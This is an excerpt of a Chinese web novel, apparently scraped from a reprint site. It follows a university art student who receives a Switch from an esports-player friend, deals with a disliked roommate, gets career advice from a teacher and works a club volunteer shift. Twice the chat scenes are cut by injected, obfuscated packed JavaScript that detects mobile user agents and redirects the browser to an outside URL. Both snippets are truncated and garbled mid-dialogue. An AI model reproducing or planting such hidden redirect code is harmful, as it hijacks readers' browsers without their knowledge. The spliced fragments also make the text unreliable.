“怎么——”室友撞了撞他肩膀,语气暧|昧,“看上了?” 莫清谷不甘示弱地撞回去:“别胡说。” “我就是觉得……这女生挺有意思的。你不觉得吗?” “确实。” 室友和他女友异口同声。 秦见夏抱着快递走出食堂,找到自己的小电驴,将奶茶挂在车把上,随即边放纸箱边自言自语道:“不会寄来几百张签名照吧,怎么这么大个箱子……” 她瞥了眼寄件人,是谈继秋没错。 秦见夏抱着大快递箱进了宿舍大厅,往一号楼走时,迎面撞见不少拉着行李箱的同学,各个都步履匆匆、春光满面。 她这才有放暑假了的实感。 在接连不断的行李箱滚轮声中,她加快步伐,心想那陈文欣估计也已经走了。 秦见夏兴高采烈地来到328门口,把快递箱顶在墙上支着,单手摸出钥匙,将铁片插|进门锁内,使劲按压几下,费力地向右拧开圆柱锁—— 刚好撞上陈文欣那张死气沉沉的脸。 她似乎准备去卫生间,手搭在门锁上,不留痕迹地瞟了秦见夏一眼。 “嗨……”秦见夏的笑容僵住一瞬,一边转身关宿舍门,一边换上热情的口吻,“欣欣你今天回家吗?几点的车呀?” “啊,我三点半走。” 陈文欣说完,“咚”地一声锁了门。 或许是已经放假的缘故,秦见夏愈发无法忍受和陈文欣待在一个空间内。 她将快递箱和奶茶放到桌面上,当机立断地决定,下午还是继续去艺术楼混日子吧。 秦见夏坐在自己的牛油果绿色沙发椅上歇息片刻,扒拉出小刀,开始拆起快递。 纸箱相当厚实,她划了半天,拆出来一个小盒子,以及—— 一台包装完好的Switch!!? “卧槽!”秦见夏惊出一句国粹。 苏织似乎出去拿外卖了,林喜好像已经回家,她拿着Switch的盒子,一偏头恰巧与才出厕所的陈文欣对上视线。 秦见夏没有错过那双古井无波的大眼睛中,一闪而过的艳羡。 “哇,”陈文欣惊讶道,“你买了Switch?” 陈文欣不爽,她就爽了。 秦见夏思忖一瞬,都不用打草稿,故意凡尔赛道:“不是——我哪买得起啊,是朋友送的啦~” “我都说了让他不要送,没想到还是偷偷给我寄来了,哈哈。” 陈文欣的表情僵成一张纸糊的面具,笑容勉强:“那挺好……” 随即两人立刻默契地终止话题,一言不发地干起自己的事。 秦见夏故作不知地拆着Switch的包装,陈文欣则伫立在桌前,边擦桌面边用余光窥视。 秦见夏的一侧嘴角不受控制地上扬,又很快抿住唇,强迫自己不要笑出声来。 她可没忘,陈文欣从大一到大三一直撺掇苏织,让人家把Switch拿学校来和她一起玩。 简直是司马昭之心路人皆知。 秦见夏打开红色外盒放在一边,准备先把碍事的大纸箱收拾一下,给收废品的保洁阿姨扔到宿舍门口。 却发现箱子底部还有东西,而且还不少。 她疑惑地将Switch拨到一边,腾开桌面,举起纸箱反过来一倒,“哗啦”一声——掉出一堆塑料盒子。 “你朋友连卡带也送你!?” 秦见夏听到陈文欣发出惊讶的破音,一头雾水,拿起一盒拆开,看见里面确实是内存卡一样的东西。 她只能说:“那我朋友人很好了……” 她汗流浃背地清点一遍,足足有十五盒卡带。 秦见夏将它们全部摞起来,推到一边,最后打开疑似装着签名照的飞机盒。 还好这是最不值钱的。 一共六张签名照,不止有Daybreak的,谈继秋还把他自己的照片也寄来了。 秦见夏:“……” 她笑倒在椅子上,又瞧见Jichoo签名照的背面,也写有金色的字—— To勤捡虾球: 之前骗了你,对不起,请原谅TT ——谈继秋 此人偷她的颜文字。 好吧。 其实,她的第一反应是——他还挺可爱的。 但又觉得……“可爱”这个词,用在他身上好像有些僭越。 午后的阳光,洒在金色正楷字上。 她翻回照片正面,与龙飞凤舞的英文签名仔细比较,感觉看不出是同一人的字迹。 没想到谈继秋的字看起来这么好学生…… 收到“补偿奖励”,肯定要好好感谢一番,秦见夏把所有东西仔细摆好,拍了张照片发给谈继秋。 勤捡虾球:「秋神谢谢你!!!」 勤捡虾球:「没想到您还给我送了Switch和卡带」 勤捡虾球:「小的感到受宠若惊喜出望外大惊失色」 勤捡虾球:「承蒙厚爱谢主隆恩,那个手机就别再给我了哥/抱拳」 勤捡虾球:「本来我只想要个签名照的……真的别送了哥,再送下去我快成捞女了/抱拳」 谈继秋刚睡醒,昨晚难得睡了个好觉。 他吃着泡面,打算一会开播,猝不及防地听到一连串提示音,就知道肯定是勤捡虾球发来的。 他下意识扬起唇角,扔下叉子,抽了张餐巾纸将嘴擦净,打开微信一看天塌了。 谈继秋:「?」 谈继秋:「什么捞女,谁说你捞女?」 谈继秋:「不可能寄个快递也被扒吧你把帖子发我我去处理」 勤捡虾球:「?」 勤捡虾球:「不是啊哥,你是不是没睡醒」 勤捡虾球:「我是说您送得太贵重了,别再送了TT没什么对不起的,我本来就没怪你」 谈继秋昨天和她打完后,想起是六月最后一天,又去直播补时长到凌晨四点才睡,现在脑子都是木的,又滑上去仔细看了一遍她发来的消息。 谈继秋:「下次别用成语接龙了,高材生。」 谈继秋:「我们高中学历的晕成语。」 他不由得笑了笑,打字道:「我都有你地址了,送什么好像是我说了算吧?」 谈继秋:「这些我本来打算搞粉丝抽奖的,正巧顺手给你了。就当作封口费吧,娱乐圈都是六位数起步,反倒是我占了便宜。」 谈继秋:「不要有心理压力,fine是富二代,我们是在薅资本家羊毛/呲牙」 这个呲牙笑的微信表情,莫名戳中秦见夏的笑点,不禁对他的Jichoo滤镜碎了一地。 她忍不住打字:「好的哥/呲牙」 对方敏锐地察觉到表情的意味。 谈继秋:「?」 谈继秋:「/呲牙」 谈继秋:「你在嘲讽我吗/呲牙」 勤捡虾球:「没有/呲牙」 勤捡虾球:「只是我爸也爱用这个表情/呲牙」 谈继秋:「暗示我老?/呲牙」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669844|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勤捡虾球:「没有的兄弟没有的/呲牙」 谈继秋:「好了,把牙收回去吧,别笑了。」 谈继秋:「你放假是不是不在学校?」 谈继秋:「那剩下的卡带,我让店家全部打包寄到你新地址?」 勤捡虾球:「还真包全部游戏啊?」 勤捡虾球:「我是不是应该谢谢罚金哥」 谈继秋:「你罚金哥给网红一个包够买一套房了,别谢这种资本家。」 谈继秋:「有的缺货还要等几天,所以我先寄过去一部分,你先玩着。」 谈继秋:「不过也不是所有游戏,全部好像有上万款?反正热门的全下单了,大概三百多个,不够玩你再跟我说。」 勤捡虾球:「那寄到这里吧,刚好我下学期可能也不在学校」 她把家门口菜鸟驿站的地址给他粘贴过去,改成秦国海的手机号,这样方便老爸直接帮她取了。 谈继秋:「你们20级不是开学大四吗,怎么不在学校?」 勤捡虾球:「下学期我打算去实习,收不到实习offer的话就在家里蹲,在学校待够了」 其实是受够了室友,她大四打算非必要不来学校。 正好现在小红书也涨到近三千粉丝,她回头再开个日常号录vlog,指不定即将成为下一个大网红。 谈继秋:「好,那你最近记得查收。」 秦见夏最后回了个谢谢老板的表情包,将签名照和卡带全部收进柜子里锁好,只把她想玩的动森留了下来。 在陈文欣眼皮子底下安装好Switch后,她将电脑、iPad、Switch统统塞进书包,再度提起奶茶走出宿舍。 一想到如此装逼会让陈文欣心情不爽,笑容就会转移到秦见夏脸上。 她美滋滋地边听歌边骑车到艺术楼,推开教室门,发现同学佟暮正在座位上画画。 见秦见夏到来,她笑着问:“你还没走?” 秦见夏走向自己的位置,放下书包说:“我下周三有社团活动,值完班再走。你呢?” “我家人下周来接我,顺便去淮镇旅游。” 佟暮是她们专业最擅长画商业插画的,她问秦见夏:“你实习找得怎么样了?” 秦见夏打开电脑,闻言摇了摇头:“没什么消息呢。” “我找了一个插画实习岗,准备暑假去看看怎么样……”佟暮抬腕看了眼时间,“妈呀不跟你说了,我朋友来找我了,拜拜我先走了。” 佟暮飞快地收拾好东西离开教室,像阵风一样吹走了。 徒留教室一片静寂。 秦见夏侧目,若有所思。 她透过延展到天花板的玻璃窗,仰望外面湛蓝的天。云纱缥缈,不细瞧根本察觉不到,它正在缓慢地挪动着。 艺术楼前,瘦弱的树干挂着一簇簇纷乱的树叶,在这个角度看去仿佛凶兽幼爪。 她不由得叹息一声,前路渺茫。 秦见夏的插画能力比上不足、比下也余不了多少,UI和品牌只做过不成熟的学生作业,建模懒得报班学,交互设计更是摸不着头脑,唯一比较擅长的平面也卷不出什么花来。 什么都会一点……但不多。 她趴在桌上连连叹气,内耗半天,兀地起身,吸了口奶茶给自己打气:“没事的!我们好歹误打误撞有点小粉丝!实在不行就深耕自媒体!” 反正也放假了,说干就干——秦见夏当即掏出iPad,设计自己的第二个角色。 她参考了一些外网风格,打算突破舒适区,做个外国味浓的女角色。 秦见夏灵感大发,很快便根据之前的手稿画出草图,正准备继续深入时,猝不及防的推门声惊得她坐直身体。 “吱呀——” “诶,一班教室走的时候没关灯吗?”范川拎着运动水杯探头进来,眼睛一亮,“小秦同学,你怎么还在这儿?” 秦见夏僵硬地转过头,露出一个哭笑不得的表情:“川总……哈哈,您怎么还没下班…?” 34. 隐秘的 范川推开门径直走来:“我刚从AUD上来,看到你们班还亮着灯,以为你们放假忘关灯了,打算给你们关了来着,免得咱们又被后勤主任训……” “没想到小秦你还没走,”川总十分自来熟,像之前吐槽她老土的周老师那样,直接上来看秦见夏的屏幕,“哦你没在画作业啊……” 秦见夏更加汗流浃背,听到范川的声音在头顶盘旋:“这是你自己做的角色设计吗?” 怎么每次在教室做东西,都能被老师逮到啊…… 她窘迫地点了点头:“是的老师,我自己随便画着玩玩。” 本以为他问两句就走,不料范川却大大咧咧地径直在她身旁坐下,看作业般凑近,煞有其事道:“你缩小画布,我看看效果。” 秦见夏只好听令,心脏快悬到嗓子眼。 “做得不错啊,”没想到他挺满意,用手摸着下巴,左右歪脑袋仔细打量,“你除了这个线稿还有别的成图吗?拿出来我瞧瞧。” 秦见夏便手忙脚乱地把之前做的叶寻翻出来,下意识向范川汇报了一遍角色设定和故事背景。 做完pre,她心道怎么还加课了。 出乎意料地,范川听后连连点头。 “很不错啊,而且按你们这个阶段来说,算是比较成熟了,想法也挺新颖的。但是,已经完成的那个比起你手头上这个来说,审美还是偏白幼瘦,不过挺符合我们国内的审美……” “你这样,”范川掏出手机,开始翻好友列表,“我给你推个学姐,现在在美国拳头总部做概念设计,叫叶轻戈。她本科也是我们A大的,毕业之后拿了ACCD,也就是ArtCenter的offer,后面直接去拳头工作了,如果你对出国留学或者概念设计感兴趣的话,可以加她聊聊。” “尤其是你发散思维不错,道具和场景再找参考练一练很出效果的,”范川滔滔不绝,讲得认真,“据我所知,叶轻戈进拳头前还在接作品集辅导,现在不知道还接不接了,你如果有意向的话,我可以帮你联系一下她。” 范川鲜少夸人,把秦见夏捧得有些飘飘然,她连忙道谢:“感谢老师指点,不过老师——我这水平真能够着ACCD吗……” 那可是设计界的哈佛。 她,秦见夏,认真的吗? “你要对自己有信心……”范川扒拉半天手机,忽然抬头,目光锐利,“秦见夏,你是不是没加我微信——” 秦见夏:“……” 此时就要搬出三字箴言了。 他不问,她不说,他一问,她惊讶。 “什么?”秦见夏故作慌张地拿起手机,表情浮夸,“我记得我加您了啊?” 她故意翻找半天后,对老师道歉:“老师不好意思,我还以为我早就加过您了,我刚刚发送好友申请了,麻烦您通过一下……实在抱歉啊老师。” 秦见夏平常专业课根本不请假,也没有每学期课后主动加老师的习惯,所以就一直没加范川。 范川臭脸了一会,又很快被秦见夏哄好,傲娇地通过了好友申请:“下不为例。” 一串提示音响起,范川不仅推来叶轻戈的名片,还连带着发了一堆参考图片和pdf文件。 “好了,你自己慢慢看吧,我得去接我儿子放学了,”范川抬腕看了看AppleWatch,拿着水杯起身,又回头瞟了眼秦见夏桌子上的奶茶,忍不住絮叨,“少喝点植脂末吧……走的时候记得关灯,不然得亮一暑假。” 秦见夏:“谢谢老师,老师再见!老师路上注意安全!” “咣”一道关门声后,秦见夏如梦初醒。 她趴在桌上,用手掌支着头,目光瞥向窗外烧红的晚霞,内心沮丧。 在她年少无知的初中,ACCD确实是梦校。 父母因为没条件支持她像别的同学那样出国留学,为此还遗憾到现在。 秦见夏懂事之后就不再提及此事,即便心里还是很向往国外的学校氛围。 ACCD每学期学费二十多万,还坐标于美国加州,读下来少说得一百万起步,怎么可能是她这种每月生活费一千五的人去得起的。 而且她英语也很差…… 她注定与ACCD无缘。 秦见夏一想到自己其实特别讨厌学英语,立马就自行调理好了。 什么出不出国的,步道乐跑还差最后一次,当务之急是先赶快把作业整理好提交,然后去本学期最后一次“乐骑”。 于是「QingGe」的名片就一直躺在秦见夏的对话消息里,不再被点开。 作业其实早已做完,只是还没有整理归档重命名到文件夹里发给班长。 她花费半个小时,把两门专业课的作业全部检查完打包压缩好,用Q|Q给费云梦传了离线文件。 班长回复「ok」后,秦见夏长抒一口气。 终于!解放了!! 她下楼骑车摇手机,最后“乐骑”两公里,完成48次跑步打卡,激动地截图发到家庭群:「我解放了!!!」 秦见夏:「周三值完班我就回家,爸爸妈妈记得来接我!」 她又附上车票截图。 夏夏爸爸:「ok/呲牙」 夏夏平安健康:「恭喜宝贝!肯定来接你滴。」 夏夏平安健康:「终于可以好好休息休息了/憨笑」 夏夏平安健康:「不要熬夜玩手机」 知女莫如母。 秦见夏自范川指点完后,就懒得再打开新角色的画布,除了在各大招聘软件上投了一圈大厂实习外,其余时间一直沉迷动森无法自拔。 每次谈继秋来问她要不要打王者,她都:「不了,我要玩动森」 搞得谈继秋有些郁闷:「早知道送你个台式了。」 谈继秋:「动森很好玩吗?比星露谷还好玩?」 秦见夏隔了很久才回复:「这种萌萌的游戏你们男的不懂/呲牙」 勤捡虾球:「我在小红书加了很多游戏搭子一起岛建/呲牙」 谈继秋忍无可忍:「别/呲牙了/呲牙」 谈继秋:「拿我当日本人整TT」 谈继秋:「那我这个游戏搭子彻底失宠了?」 秦见夏被他的“TT”萌到,光速滑跪:「我错了哥」 勤捡虾球:「那我陪你打两把王者吧」 谈继秋:「不需要。」 谈继秋:「我要直播了。」 勤捡虾球:「生气啦?」 她发了个贱贱的表情包。 勤捡虾球:「那我去给主播刷两个飞机?」 谈继秋发来一条五秒的语音—— “不用啦,我真的去直播了,刚刚逗你玩呢。” 秦见夏猝不及防地点开,清晰的声音从听筒里泻出。 她整个人一下子坐直身体。 语气并没有多暧|昧,只是这种哄小孩的口吻,像是黏黏糊糊的草莓味酸奶,话末还带着笑音。 再脑补一下他那张精雕细琢的脸。 秦见夏感觉自己有些呼吸不畅。 “咦——”宿舍里仅剩的苏织,仿佛嗅到八卦味一样打了鸡血,“嗖”一下从对面上铺探出头来,“有男人的声音…你谈恋爱了?” 秦见夏当即红着脸否认,语无伦次:“不是、没有、并非谈恋爱——” “他是……我表哥!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669845|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫名地,她下意识撒了个谎。 幸好她俩都没起床,没人掀开窗帘,秦见夏也拉着自己的床帘,室内一片昏暗。 她那点隐秘的脸红,也藏匿在不为人知的角落,被她掩饰得极好。 她曾经是Jichoo的粉丝。 Jichoo还是电竞偶像。 秦见夏可以喜欢Jichoo,但不能“喜欢”谈继秋。 他们不会有结果。 他肯定只是…单纯对欺骗粉丝的行为感到内疚而已。 怎么可能有别的意思? “哦~”苏织语气戏谑,“那你跟你表哥关系很好啊……” “去食堂吗?”秦见夏放下Switch,当即转移话题,“水煮菜?” 苏织果然被牵着鼻子:“走。” “呦呦呦——” 另一边,刚刚起床的Dollar走下台阶,揉着炸开花的锡纸烫头发:“怎么每回都被我碰到你撩妹?” “不用啦~刚刚逗你玩呢~” Dollar夹着嗓子鹦鹉学舌。 谈继秋转过椅子,表情不善:“我哪撩了?” “我和处男没话讲,”Dollar从冰箱里拿出矿泉水,拧开瓶盖,“你会用这种语气和我们说话?” 谈继秋面色不自然地转回身,鼠标在桌面上点来点去,又恢复到没什么情绪起伏的状态:“我会这么跟我小外甥女说话。” “我怎么记得——姐姐说是因为你丧着脸把恩恩吓哭了,所以才不得不软着嗓子哄那小屁孩的?” 谈继秋:“……” Dollar从他背后路过,对他故作忙碌点击空白桌面这一行为一目了然,不由得发出嘲笑:“喂——喜欢就喜欢呗,有什么不敢承认的?” “就因为她是你粉丝?” “哦不——曾经、是你粉丝?” Dollar刻意加重“曾经”两个字。 “我没……”谈继秋猛地顿住,鼠标声也戛然而止,他叹息一声,“我现在理解青训队那个小孩,为什么网恋会被骗走五十万了。” “怎么说?”Dollar瞠目结舌,“谁骗你钱了?” 谈继秋:“……” 谈继秋:“我是说,我确实对她有好感。” 好感这种东西,捉摸不透,像突如其来的太阳雨。 经过周密计算的天气预报也始料未及。 “没人规定不能和粉丝谈恋爱啊?这还是前粉丝……再说了,你又不像塌房的黄峰那样,因为女粉丝好看才去勾搭人家,黄峰那是单纯为了睡粉,你又不是!” “不知道你在担心什么,喜欢就要猛猛追啊。” “我……她还在上学……” “上学又咋了?她又不是未成年,谁上大学不谈恋爱?” “我们才认识不到一个月,而且只是网友……” “大清已经亡了吧?你罚金哥半场酒局下来都能谈个网红,一个月足够他分两回了。” “等他回来,我真得和他一起嘲笑你,难怪那些妹妹们都觉得你老古板……哎——老秋,你真是白瞎这张建模。” “可那很奇怪,你不觉得很像图谋不轨吗?” “唉、你、我……算了,你当一辈子老处男吧。” “……” 它匆匆掠过,浸湿他的衣袖,来不及反应,一抬头便被洗得发亮的晴日晃了眼睛。 那场太阳雨,似乎只是一闪而过的海市蜃楼。 徒留潮湿的衣物黏在身上,等候意料之中的蒸发—— 勤捡虾球:「好的,秋神,祝您直播顺利。」 寄居蟹又缩回蟹壳里。 35. 没礼貌 周一晚,部长将值班表公布到大群里。 秦见夏趴在床上,点开一看,自己被安排在上午。 【9:00-12:00瑰园食堂前】 真不知道该说幸运还是不幸。 被安排在上午要起个大早,被安排在下午要赶高铁争分夺秒。 不过,好处是可以拖到周三下午再收拾行李。 果然,屏幕上方立刻弹出能建部干事群@全体成员的消息。 部长:「周三早上8:30枚园楼下集合,我们要先去社科楼搬帐篷,收到回复」 秦见夏一边感叹志愿时长难拿,一边在群里扣了个「1」。 她忽然大发善心,从床帘里探出头来,问苏织:“织织你要捐书吗?我们社团有志愿证明拿。” A大毕业的硬性规定之一,就是260小时的志愿时长,学校各个社团和学生会的志愿活动时长不等,但每个活动一般都给开1-8小时。 “什么要求?”苏织坐在不远处的转椅上,头也不抬地玩着音游。 秦见夏回忆了半天:“一公斤一个小时,什么书都收。” “那还挺好,我要把课本全卖了,”苏织疑惑地问,“你们社团收这么多书干嘛?像你上次那个活动一样,和宿管阿姨抢纸片子拿去卖废品吗?” “上个活动我可是一举斩获十个小时!”秦见夏沾沾自喜道,“虽然每天回来和宿管阿姨抢楼道的废品确实有点累,还要饱受同学们异样的目光……但——那可是足足十个小时!” “一开始你没跟我们说,我们还以为你家破产了,”苏织说起地狱笑话,“我还想呢,陈文欣没开始捡废品,你倒是先开始捡了。” 秦见夏坐起身,穿上拖鞋,走到书桌前给Switch充上电:“上次那个社团的废品活动上限只有十小时,这次我们社团的比较良心,没上限,你书多的话直接拉满也行。” 她拿起水壶倒了杯水,边放壶边解释道:“我们社团有暑期支教,他们把书卖了当经费,好像还会在账号里公示。不过这些书也卖不了多少钱,估计支教大头还是得拉赞助……” “支教?”苏织震惊地抬起头,“你暑假要去支教吗?” “本来我是打算上个暑假去的,刚好可以给志愿时长拉满,”秦见夏背对着她,喝了口温水,打开iPad找出综艺,说,“结果咱们不是被遣散回家了吗,我就取消报名了,最后是我那几个滁省本地社员去了。” “今年这波也轮不到我们开学大四的。这次活动结束,一放假基本就算自动退社,部长也要给大三的小朋友当了。” 苏织:“真复杂,还好我早就把动漫社退了。” “你后天几点值班?”她问。 “九点到十二点在瑰园食堂门口。” “那我赶在饭点去找你,咱们结束了去瑰园三楼吃麻辣烫。” “没问题!” 这几天,宿舍里只剩下秦见夏和苏织,二人和平共处、互不打扰。其实如果加个林喜在,她们三人也聊得热火朝天。 只要陈文欣不在—— 宿舍谁想几点关灯就几点关,不关灯都没人挑理;早上七八点再也不用传来护肤品瓶瓶罐罐的磕碰声,和宿舍窗帘被拉开时“唰”一下的声响;耳边也不用再萦绕着陈文欣那张破椅子“咯咯吱吱”的动静,以及八百字小作文警告。 苏织显然比秦见夏还要开心,她终于获得了久违的购物自由、吃饭自由、穿衣自由以及游戏自由。 不会再有人在她耳边念叨——“XXX太贵了”、“你吃不完浪费粮食”、“你的肉不吃了吗”、“你穿黑丝好瑟”、“我和你们瘦子没话说”、“可以借一下你的Steam账号吗”、“你刚去哪了”等等,诸如此类的话。 秦见夏只是分享欲比较旺盛,但对别人的生活没有丝毫的控制欲。 苏织甚至在某天连续换了三套衣服,她都视若无睹,还是她主动问“我的新衣服怎么样”,秦见夏才星星眼地赞叹:“你学画画真是可惜了好身材,应该去学表演啊!我们女神往路上一走得迷死A大万千少男少女。” 此女虽然表演成分极大,做作又夸张,但的确夸到了她心坎里,不禁让苏织感叹——这个世界上还是有正常人存在的。 陈文欣不在,秦见夏和苏织自动组成饭搭子。 只要二人起床时间相近,都会一起去打卡食堂新品。 最近她们共同迷上食堂的八八香麻辣烫,不惜走路十分钟也要跑去瑰园爬三楼吃堂食。 苏织点微微辣,秦见夏吃重辣,还会额外在一楼打包米饭带到三楼当主食。 也算是终于过上正常的大学校园生活,328宿舍不用再养活邪剑仙了。 - 周三上午九点,秦见夏和部门的干事们一起搭好了帐篷,填完签到表坐下。 今天是公休日,加之有些学院已经放假,一大清早的食堂几乎没什么人。 阳光照在身上暖烘烘地,令人觉得充满希望。 秦见夏拍了拍部长的肩膀。 部长披着头发,戴着鸭舌帽,正在玩手机。 她拿起挂了一串玩偶和钥匙的校园卡起身,眼眸熠熠生辉:“王莘,吃早饭吗?我帮你带。” 王莘与她对上视线,坏笑着把校园卡从口袋里掏出,递给她:“我要土家香酱饼和一杯豆浆,谢谢!” 秦见夏便风风火火地跑进食堂,十分钟后,提着大包小包出来。 她把香酱饼和豆浆放到王莘面前,王莘道谢后,瞠目结舌地指着她的打包盒:“你这是什么?” “馄饨啊——” 秦见夏将盖子掀开,香气扑面而来:“瑰园一楼的猪肉虾仁馄饨真是一绝,强烈建议你回头尝尝!” 值班的一共四个人,另外两个坐在她俩后面玩手机的男生,闻到香味后也起身冲进食堂。 于是,风和日丽的A大瑰园小广场上,红色大帐篷底下,四个学生排排坐在长桌后相聊甚欢,几乎每人面前都放着碗馄饨,惊得保洁阿姨纷纷侧目。 如果不是木桌旁立着他们社团的活动立牌,行人可能会以为食堂开放室外就餐了。 “你们在干什么!” 一道熟悉的声音传来。 王莘最先反应过来,下意识站起身子:“副社长,您怎么来了……” 秦见夏和另外两名同学也吓得当即站起来,打招呼:“副社长……” 完蛋,摸鱼被抓现行了。 副社长是个少年老成的微胖男生,他推了推眼镜,故作严肃片刻,随即瞬间变脸:“这是在吃什么好吃的?还人手一份呢?” 秦见夏指了指旁边的食堂大门,讪讪开口:“一楼的虾肉馄饨……” “很香的——副社您……”她作死地问,“要不要也一起尝尝?” 十分钟后,副社长 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秦见夏和王莘异口同声:“莫清谷?” “你也认识他?” “你也认识他?” 秦见夏和王莘又同时看向对方。 同时,莫清谷也惊讶地问王莘:“你也认识我?” 秦见夏大脑宕机,又扭头瞥向莫清谷。 王莘:“我和你一个系的,咱们院谁不认识你啊?” 王莘:“光表白墙你都上得快和外卖贼一样勤了。” 王莘:“不过自从你美黑之后,热度好像就降了点……” 莫清谷第108次澄清:“我没有美黑!我这是运动会训练晒的!” “他好像是什么校队的,”秦见夏也替他解释,“他三千米长跑第一。” 王莘嗅到不对,顿时一脸八卦:“不过,你俩是怎么认识的……有情况?” 秦见夏连忙摆手:“没有的姐妹没有的!” “我俩打王者认识的,”莫清谷挑了挑眉,弯腰用手撑住膝盖,仔细打量她一瞬,语气熟稔,“哟——你这是在这儿做苦力呢?” 他看到秦见夏满头大汗,立即从荧光绿色运动书包里,翻出餐巾纸递给她,笑容轻快:“需要我帮忙吗?” 秦见夏的视线划过他修剪整齐的指甲,不客气地接来抽出一张,戏谑道:“你这卫生纸还是库洛米的……” “你不会是……” 莫清谷顿时炸毛:“不是——” 莫清谷:“这我妈给我塞的!她喜欢库洛米!” “你想哪去了?”秦见夏擦着汗,顺便把小包纸巾也递给王莘,好整以暇地抱起胳膊,翘着二郎腿,将椅子撅起三十度,“我是想说——你不会是谈恋爱了吧。” “怎么可能?”莫清谷摸了摸鼻尖,“什么恋不恋爱的,需不需要帮忙啊?” “不需要啦,”秦见夏见王莘抽了纸,便将纸包拿过来整理好,又还给他,“我们部门那两个男生马上就回来了。” “那行,纸你们留着用吧。” 莫清谷闻言立马转身离开。 “哎——怎么说走就走啊,”秦见夏放下库洛米餐巾纸,“真没礼貌。” 王莘将用过的卫生纸团成团,忽然语气暧|昧地说:“你俩……绝对有情况!” 36. 柠檬水 王莘信誓旦旦地叽里咕噜模仿了一遍柯南,说:“我感觉我们院草也对你有点意思,喜欢就大胆冲!” “谁封的院草?表白墙封的?” “我们宿舍给封的。” “……” “能有什么意思?我和他才认识不到一个月……” 秦见夏话音刚落,面前从天而降四杯柠檬水。 莫清谷一手两杯蜜雪冰城,“嘭”地一下墩在桌上,笑容晃眼:“喏,请你们喝的。” 白色覆膜纸杯上渗出细细密密的雾珠,秦见夏瞠目结舌地从雪王上移开目光,仿佛第一次认真打量起莫清谷。 夏天、蝉鸣、冰镇柠檬水。 阳光开朗男大学生和他脸上爽朗的笑容。 秦见夏的瞳孔微微放大—— 老天奶!校园偶像剧总算轮到她秦见夏了吗? “这不是叫你来组队,结果我却拖了后腿,最后就差一分拿到Beats吗,实在问心有愧。” “上次你请我喝,这次我请你,咱们两清咯~”莫清谷散发完魅力便事了拂衣去、深藏功与名,还不忘回头交代,“你的那杯是珍珠奶茶!” 秦见夏:“……” 她默默从四杯一模一样的纸杯里找出奶茶,将纸吸管奋力往下捅,发出“嘭”的一声——吸管歪了…… “限塑令,我和你拼了!”秦见夏直接上手扣了个洞,简单粗暴地把纸吸管放了进去。 王莘悠哉地喝着柠檬水:“俊男靓女互相吸引实属正常,我瞧你俩能成。” “呵呵,”秦见夏皮笑肉不笑地瞥她一眼,“成个毛线,我俩已经两清。” 王莘遗憾地摇了摇头:“唉,难怪你谈不上恋爱,朽木不可雕也。” 秦见夏:“?” 她生硬地转移话题:“和你对象咋样了?还是上次打麻将三缺一叫出来那个PoohBear?” 之前封校的时候,他们几个能建部老成员聚在食堂打迷你麻将,刚好三缺一,王莘就把她前前男友叫过来了。 后来秦见夏听另一个朋友说,他俩又复合了。 因她对象长相酷似PoohBear,所以他们就管他叫PoohBear。 “在和PoohBear稳稳的幸福。”王莘轻描淡写地笑了笑。 秦见夏倒觉得有些可惜。 王莘长得很漂亮,还是舞蹈社的领舞,感觉PoohBear配不上,不由得多管闲事道:“不考虑别的了?好歹上次谈了个大帅哥呢。” “你以为谁都和你一样颜控,”王莘嗔她,“上个长得是帅,你怎么不说我被绿了两次呢?男人还是不能找太帅的,对你好才是实打实的。” 秦见夏听进去了,煞有其事地点点头:“有道理。” “长得帅的都不老实。” 几人聊着聊着就到了换班的点,苏织准时来找她收书,秦见夏收拾完就和室友一起去瑰园吃饭了。 吃完午餐,秦见夏陪苏织顺路在瑰园快递柜取快递,正逗着猫学长,听到苏织说:“就是这只猫!上次陈文欣骂人家丑,喷了它足足五分钟……” 秦见夏:“……那很能喷了。” 她这个喷子当得实在冤枉。 她仔细端详这只奶牛猫的毛色分布,摸了摸它的脑袋,安慰道:“小猫小猫,虽然你鼻子底下有块黑色,像日本人,五官也长得很潦草……但是你在我们A大有编制啊!你是网红小猫,谁见了你不喊一声学长好~” “我们认不出校长,认得出你这只八嘎猫啊~”秦见夏说得煞有其事,“证明你比校长地位高。” 苏织:“……” 猫学长恰到好处地喵了一声。 “你听到了吗?”苏织冷幽默道,“它在骂你。” 秦见夏继续揉它脑袋:“没上次骂得响。” 苏织评价:“你也是神人。” 回宿舍的路上,二人一路插科打诨。 阳光恰好照到她们这片宿舍楼。 苏织仍旧坐在她的白色小转椅上,将iPad枕在腿间低头玩着音游。 秦见夏的拖延症又间歇性发作,赖在宿舍中央站着,不想收拾行李。 她透过阳台,眺望不远处的图书馆。 蓝天下,宏伟建筑的分辨率似乎更加清晰,马路上,骑着小黄车的同学将车铃拨得呤呤作响。 “叮铃铃——叮铃铃——” 她的大三,就这样结束了。 大学生涯竟然只剩最后一年。 这是夏日里一个平淡的午后,查重率极高的、千篇一律的大学生活。 当时只道是寻常。 - “妈!我在这儿——”秦见夏激动地撇下行李箱,蹦起来挥手,隔了老远还兴奋喊道,“爸!我在这边!” 高度近视的赵霞心灵感应般捕捉到秦见夏的身影,脸上瞬间绽放出笑容,当即拽着秦国海往出站口的方向奔去。 秦见夏掏出身份证,正排队出站。 